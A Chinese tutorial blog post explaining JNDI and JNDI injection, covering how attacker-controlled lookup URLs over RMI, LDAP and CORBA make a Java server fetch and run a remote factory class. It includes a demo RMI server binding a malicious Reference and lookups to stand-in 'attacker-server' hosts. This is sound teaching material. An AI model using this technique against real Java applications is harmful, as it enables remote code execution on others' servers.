安全攻击原理详解(四) -- JNDI

1. JNDI

1.1 JNDI基本概念

JNDI(Java Naming and DIrecroty Interface),是java命名与目录接口,JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

//web.xml
<Environment name="jndiName" value="jndiValue" type="java.lang.String" />
//index.jsp
  <%
      Context ctx=new InitialContext();
      String testjndi=(String) ctx.lookup("java:comp/env/jndiName");
      out.print(testjndi);
  %>

Naming Service:命名服务是将名称与值相关联的实体,称为绑定。通过find/search操作根据名称查找对象。上述的RMI Registry就是使用的Naming Service。
Directory Service:是一种特殊的Naming Service,允许存储和搜索“目录对象”,目录对象可以与属性相关联。一个目录是一个类似树的分层结构库。LDAP就是用的Directory Service。

1.2 RMI与JNDI

JNDI提供了与不同类型的服务交互的公共接口。但其自身不区分客户端和服务端,也不具备远程能力。JNDI在客户端上主要进行访问、查询和检索等,在服务端主要进行配置管理等,比如在RMI服务端上不直接使用Registry进行bind而使用JNDI统一管理。
JNDI架构如下图,Naming Manager包含用于创建上下文对象和对象的静态方法。服务器提供者接口(SPI)允许JNDI管理不同的服务。

JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test")

//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定
ctx.bind("refObj", new RefObject());
//通过名称查找对象
ctx.lookup("refObj");

在JNDI服务中,RMI服务端除了直接绑定远程对象之外(JAVA序列化传输对象到远程服务器),还可以通过命名引用的方式通过绑定,由命名管理器进行解析的一个引用。引用由References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);

1.3 JNDI动态协议转换

JNDI除了与RMI搭配使用,还可以与LDAP、CORBA等,JNDI与LDAP配合使用方式如下:

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
 "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);
//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

这是手动设置服务工厂及PROVIDER_URL的方式,JNDI还提供协议的动态转换,即使我们不设置上述内容,如果ctx.lookup("rmi://attacker-server/refObj");执行便自动转换对应服务。

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:9999");
Context ctx = new InitialContext(env);
String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通过名称查找对象
ctx.lookup(name);

此处的lookup中的参数如果可控就可以根据攻击者提供的URL进行动态转换。

1.4 JDNI注入

JNDI注入是BlackHat 2016(USA)@pentester 的一个议题"A Journey From JNDI LDAP Manipulation To RCE"提出的。

根据上述demo可以发现JNDI注入流程是(以RMI为例),如果目标代码中调用了InitialContext.lookup(URI),且URI为用户可控->攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name->攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类->目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;->攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果。调用链为:RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()

JNDI主要的攻击向量有:RMI、JNDI Reference、Remote Object、LDAP、Serialized Object、JNDI Reference、Remote Location、CORBA、IOR

(1)JNDI Reference+RMI

public class RMIServer1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(9999);
//        Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名,FactoryClassName为工厂类名并且包含工厂类的包名
        Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}
public class RMIClient1 {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                 "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://localhost:9999");
        Context ctx = new InitialContext();
        ctx.lookup("rmi://localhost:9999/refObj");
    }
}

当运行lookup函数时,RegistryContext.decodeObject() 会被调用,然后调用NamingManager.getObjectInstance() 进行实例化,最终返回Reference,然后getObjectFactoryFromReference() 会从Reference中得到实例化的类。攻击者可以提供自己的工厂类,一旦实例化就会运行payload。

整个攻击过程为:攻击者为JNDI lookup提供了一个绝对的RMI URL,然后服务器连接到攻击者控制的RMI注册表,该注册表将返回恶意的JNDI引用,服务器解码JNDI引用后从攻击者控制的服务器获取工厂类,进行实例化的时候payload执行。所以此攻击方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等调用InitialContext.lookup()的情况。

(2)JNDI+LDAP
Naming Manager在JAVA对象(JAVA序列化、JNDI references等)解析运行时可能造成RCE,DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要区别是,对于前者,攻击者就可以使用自己的LDAP服务器,对于后者,攻击者需要攻击LDAP服务器条目,与应用程序交互时等待期返回被攻击条目的属性。

攻击过程为:攻击者为JND lookup提供了一个绝对LDAP URL,服务器连接到攻击者控制的LDAP服务器,该服务器返回恶意的JNDI引用。服务器解码JNDI引用从攻击者控制的服务器获取工厂类,实例化工厂类时payload得以执行。

LDAP Entry Poisoning
LDAP攻击主要针对于属性而非对象,例如,用lookup方法查找对象时,search()方法是在检索LDAP条目的所需属性(例如:用户名、密码、电子邮件等),当只请求属性时,就不会有可能危及服务器的Java对象解码。然而,如果应用程序执行搜索操作,并将returnObjFlag设置为true,那么控制LDAP响应的攻击者将能够在应用服务器上执行任意命令。

(3)JNDI+CORBA
org.omg.CORBA.Object read_Object会对IOR进行解析

public org.omg.CORBA.Object read_Object(Class clz)  {
        // In any case, we must first read the IOR.     
    IOR ior = IORFactories.makeIOR(parent);     
    if (ior.isNil())      return null;
    PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();
    String codeBase = ior.getProfile().getCodebase();   <1>            
    PresentationManager.StubFactory stubFactory = null; 
    if (clz == null) {          
        RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId());   <2>        
        String className = rid.getClassName();          
        boolean isIDLInterface = rid.isIDLType();

         if (className == null || className.equals( "" ))  stubFactory = null;          
        else                
            try {  <3>
                stubFactory = sff.createStubFactory(className,  isIDLInterface, codeBase, (Class)null, (ClassLoader)null);  
            } 
            catch (Exception exc) {                
                stubFactory = null;
            }
        else if (StubAdapter.isStubClass( clz )) {
            stubFactory = PresentationDefaults.makeStaticStubFactory(clz);      
        } else {           
              // clz is an interface class
              boolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ; 
          stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ;     
        }   
    return internalIORToObject( ior, stubFactory, orb ) ;   
}

攻击者可以手工创建一个IOR,该IOR指定在他控制下的代码库位置<1>和IDL接口<2>,即存根工厂的位置。然后,它可以将运行有效负载的存根工厂类放在其构造函数中,并在目标服务器<3>中实例化存根,从而成功地运行payload

攻击过程:攻击者为JNDI lookup提供了一个绝对的IIOP URL。服务器连接到攻击者控制的ORB,该ORB将返回恶意IOR,然后服务器解码IOR从攻击者控制的服务器获取存根工厂类。进行实例化的同时payload执行。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值